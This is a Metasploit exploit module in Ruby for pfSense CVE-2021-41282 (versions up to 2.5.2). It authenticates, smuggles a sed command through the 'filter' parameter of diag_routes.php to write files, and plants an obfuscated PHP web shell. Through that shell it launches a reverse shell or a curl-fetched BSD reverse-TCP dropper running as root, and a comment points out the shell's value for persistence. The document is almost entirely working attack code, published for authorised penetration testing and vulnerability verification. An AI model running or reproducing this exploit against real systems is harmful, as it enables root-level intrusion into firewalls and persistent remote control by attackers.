/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb
Ruby | 227 lines | 198 code | 13 blank | 16 comment | 7 complexity | 22e1160572bc73cfb0af4cf7ff0eb45d MD5 | raw file
- ##
- # This module requires Metasploit: https://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- class MetasploitModule < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::Remote::HttpClient
- include Msf::Exploit::CmdStager
- include Msf::Exploit::FileDropper
- prepend Msf::Exploit::Remote::AutoCheck
- def initialize(info = {})
- super(
- update_info(
- info,
- 'Name' => 'pfSense Diag Routes Web Shell Upload',
- 'Description' => %q{
- This module exploits an arbitrary file creation vulnerability in the pfSense
- HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2
- and can be exploited by an authenticated user if they have the
- "WebCfg - Diagnostics: Routing tables" privilege.
- This module uses the vulnerability to create a web shell and execute payloads
- with root privileges.
- },
- 'License' => MSF_LICENSE,
- 'Author' => [
- 'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery
- 'jbaines-r7' # metasploit module
- ],
- 'References' => [
- ['CVE', '2021-41282'],
- ['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']
- ],
- 'DisclosureDate' => '2022-02-23',
- 'Platform' => ['unix', 'bsd'],
- 'Arch' => [ARCH_CMD, ARCH_X64],
- 'Privileged' => true,
- 'Targets' => [
- [
- 'Unix Command',
- {
- 'Platform' => 'unix',
- 'Arch' => ARCH_CMD,
- 'Type' => :unix_cmd,
- 'DefaultOptions' => {
- 'PAYLOAD' => 'cmd/unix/reverse_openssl'
- },
- 'Payload' => {
- 'Append' => ' & disown'
- }
- }
- ],
- [
- 'BSD Dropper',
- {
- 'Platform' => 'bsd',
- 'Arch' => [ARCH_X64],
- 'Type' => :bsd_dropper,
- 'CmdStagerFlavor' => [ 'curl' ],
- 'DefaultOptions' => {
- 'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'
- }
- }
- ]
- ],
- 'DefaultTarget' => 1,
- 'DefaultOptions' => {
- 'RPORT' => 443,
- 'SSL' => true
- },
- 'Notes' => {
- 'Stability' => [CRASH_SAFE],
- 'Reliability' => [REPEATABLE_SESSION],
- 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
- }
- )
- )
- register_options [
- OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
- OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),
- OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),
- OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])
- ]
- @webshell_uri = '/'
- @webshell_path = '/usr/local/www/'
- end
- # Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,
- # pfsense permissions can be so locked down that we have to try direct exploitation
- # in order to determine vulnerability. A user can even be restricted from the
- # dashboard (where other pfsense modules extract the version).
- def check
- # Grab a CSRF token so that we can log in
- res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
- return CheckCode::Unknown("Didn't receive a response from the target.") unless res
- return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
- return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
- /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
- return CheckCode::Unknown('Could not find CSRF token') unless csrf
- # send the log in attempt
- res = send_request_cgi(
- 'uri' => normalize_uri(target_uri.path, '/index.php'),
- 'method' => 'POST',
- 'vars_post' => {
- '__csrf_magic' => csrf,
- 'usernamefld' => datastore['USERNAME'],
- 'passwordfld' => datastore['PASSWORD'],
- 'login' => ''
- }
- )
- return CheckCode::Detected('No response to log in attempt.') unless res
- return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302
- # save the auth cookie for later user
- @auth_cookies = res.get_cookies
- # attempt the exploit. Upload a random file to /usr/local/www/ with random contents
- filename = Rex::Text.rand_text_alpha(4..12)
- contents = Rex::Text.rand_text_alpha(16..32)
- res = send_request_cgi({
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
- 'cookie' => @auth_cookies,
- 'encode_params' => false,
- 'vars_get' => {
- 'isAjax' => '1',
- 'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
- }
- })
- return CheckCode::Safe('No response to upload attempt.') unless res
- return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
- # Validate the exploit was successful by requesting the uploaded file
- res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
- return CheckCode::Safe('No response to exploit validation check.') unless res
- return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200
- register_file_for_cleanup("#{@webshell_path}#{filename}")
- CheckCode::Vulnerable()
- end
- # Using the path traversal, upload a php webshell to the remote target
- def drop_webshell
- webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")
- print_status("Uploading webshell to #{webshell_location}")
- # php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'
- php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'
- res = send_request_cgi({
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),
- 'cookie' => @auth_cookies,
- 'encode_params' => false,
- 'vars_get' => {
- 'isAjax' => '1',
- 'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
- }
- })
- fail_with(Failure::Disconnected, 'Connection failed') unless res
- fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
- # Test the web shell installed by echoing a random string and ensure it appears in the res.body
- print_status('Testing if web shell installation was successful')
- rand_data = Rex::Text.rand_text_alphanumeric(16..32)
- res = execute_via_webshell("echo #{rand_data}")
- fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
- print_good("Web shell installed at #{webshell_location}")
- # This is a great place to leave a web shell for persistence since it doesn't require auth
- # to touch it. By default, we'll clean this up but the attacker has to option to leave it
- if datastore['DELETE_WEBSHELL']
- register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")
- end
- end
- # Executes commands via the uploaded webshell
- def execute_via_webshell(cmd)
- if target['Type'] == :bsd_dropper
- # the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good
- # way to force the payload to background itself (and thus allow the HTTP response to
- # to return). So we hack it in ourselves. This identifies the ending file cleanup
- # which should be right after executing the payload.
- cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')
- end
- res = send_request_cgi({
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),
- 'vars_get' => {
- 'cmd' => cmd
- }
- })
- fail_with(Failure::Disconnected, 'Connection failed') unless res
- fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
- res
- end
- def execute_command(cmd, _opts = {})
- execute_via_webshell(cmd)
- end
- def exploit
- # create a randomish web shell name if the user doesn't specify one
- @webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"
- drop_webshell
- print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
- case target['Type']
- when :unix_cmd
- execute_command(payload.encoded)
- when :bsd_dropper
- execute_cmdstager
- end
- end
- end